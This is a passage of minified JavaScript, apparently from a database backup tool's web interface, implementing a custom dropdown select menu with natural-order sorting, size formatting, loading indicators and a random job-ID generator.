a=0<a.wheelDelta?"-":"+";c.el.disabled||c.select(a,1)};c.el.addEventListener&&c.el.addEventListener("DOMMouseScroll",function(a){a.wheelDelta=-a.detail;c.el.onmousewheel(a)},!1);c.el.onmouseout=function(a){c.el.className="zSel"};c.el.onmousedown=function(a){a=a||window.event;c.el.disabled||("none"!=f.menu.el.style.display&&f.menu.el.obj.name==c.name?(f.menu.el.style.display="none",c.el.className="zSel ovr"):(c.el.className="zSel dwn",c.show()));a.stopPropagation&&a.stopPropagation();a.cancelBubble=
|
||||||
|
!0}},addOpt:function(a,b){b=b||0;var d="",e;for(e in a){this.options[e]||(this.options[e]=[]);for(var c in a[e])"object"==typeof a[e][c]?this.options[e].push({text:c,value:1*c==c?1*c:c,opts:a[e][c]}):(b&&a[e][c]&&(d=c),this.options[e].push({text:b?c:a[e][c],value:1*c==c?1*c:c}));this.options[e]=this.options[e].sort(this.keyNatSort)}return b?d:e},clearOpt:function(a){if(a)this.options[a]&&(this.options[a].length=0);else for(var b in this.options)this.options[b].length=0},showMenu:function(a,b,d){var e=
|
||||||
|
"",c=this.menu.el;c.className="zSelMenu";c.innerHTML='<div style="width:100%;"></div>';for(var f in b)e=document.createElement("DIV"),e.innerHTML=b[f].text,e.title=e.firstChild.nodeValue||"",f==a.sel&&(e.className="ovr",c.over=e),e.value=b[f].value,e.onmouseover=function(){c.over&&(c.over.className="");this.className="ovr";c.over=this},e.onmousedown=function(){d.runjob?sxd.runSavedJob(c.obj.com,this.value):2==d.btn?sxd.runServices(this.value):c.obj.select(this.value,0);c.style.display="none"},c.firstChild.appendChild(e);
|
||||||
|
c.style.display="block";b=this.offset(a.el);c.style.width=(d.width?d.width:a.el.offsetWidth-4)+"px";e=260>c.firstChild.offsetHeight?c.firstChild.offsetHeight:260;c.style.height=e+"px";c.style.top=b.top-(d.btn?e+a.el.offsetHeight+2:0)+"px";c.style.left=b.left+"px";c.scrollTop=c.over?c.over.offsetTop:0;c.obj=a;c.onmousedown=function(a){a=a||window.event;a.stopPropagation&&a.stopPropagation();a.cancelBubble=!0};document.body.onmousedown=function(){c.style.display="none";document.body.onclick=null}},
|
||||||
|
offset:function(a){for(var b=a.offsetTop+a.offsetHeight+1,d=a.offsetLeft+2;a=a.offsetParent;)b+=a.offsetTop-a.scrollTop,d+=a.offsetLeft-a.scrollLeft;return{top:b,left:d}},keyNatSort:function(a,b){var d,e;a=a.value;for(b=b.value;(d=/^(\D+|(\d+))(.*?)$/.exec(a))&&(e=/^(\D+|(\d+))(.*?)$/.exec(b));){if(d[2]&&e[2]&&d[2]!=e[2])return 1*d[2]>1*e[2]?1:-1;if(d[1]&&e[1]&&d[1]!=e[1])return d[1]>e[1]?1:-1;if(d[3]&&e[3]&&d[3]!=e[3])a=d[3],b=e[3];else return 0}},formatSize:function(a,b){b=b||0;if(0<=a){for(var d=
|
||||||
|
0;999<a&&(a/=1024);)d++;a=(0<d?a.toPrecision(3):a)+" "+sxdlng.sizes[d];return 2==b?a:1==b?" <span>[ "+a+" ]</span>":"[ "+a+" ]"}return""},showLoading:function(a){this.loading.innerHTML=a;this.loading.style.visibility="visible"},hideLoading:function(){this.loading.style.visibility="hidden";sxd.job.stop=1;z("btn_stop").disabled=!0;z("btn_pause").disabled=!0;z("btn_again").disabled=!1},newJob:function(){for(var a="",b=0;8>b;b++)a+="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890".charAt(Math.round(61*
|
||||||
|
Math.random()));return a}};
|